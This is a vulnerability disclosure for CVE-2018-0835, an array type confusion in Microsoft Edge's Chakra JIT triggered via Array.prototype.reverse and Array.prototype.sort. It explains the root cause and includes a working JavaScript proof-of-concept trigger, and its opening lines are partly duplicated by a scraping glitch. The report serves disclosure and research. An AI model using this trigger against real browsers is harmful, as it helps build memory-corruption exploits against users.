Microsoft Edge Chakra JIT Array.prototype.reverse Array Type Confusion

Microsoft Edge: Chakra: JIT: Array type confusion via Array.prototype.reverse

CVE-2018-0835


This is simillar to the previous issue 1457. But this time, we use Array.protot Microsoft Edge: Chakra: JIT: Array type confusion via Array.prototype.reverse

CVE-2018-0835


This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.

Array.prototype.reverse can be inlineed and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray

To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.

Here's a snippet of JavascriptArray::EntrySort.
arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
JS_REENTRANT(jsReentLock, arr->Sort(compFn));
arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);

If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.

PoC:
function opt(arr, arr2) {
arr2[0];

arr[0] = 1.1;
arr2.reverse();
arr[0] = 2.3023e-320;
}

function main() {
let arr = [1.1, 2.2, 3.3];
arr.__proto__ = null; // avoid inline caching
delete arr[1]; // avoid doArrayMissingValueCheckHoist

let arr2 = [, {}];
arr2.__proto__ = {};
arr2.reverse = Array.prototype.reverse;

for (let i = 0; i < 10000; i++) {
opt(arr, arr2);
}

Array.prototype.sort.call(arr, () => {
arr2.__proto__.__proto__ = arr;
});

opt(arr, arr2);
print(arr[0]);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt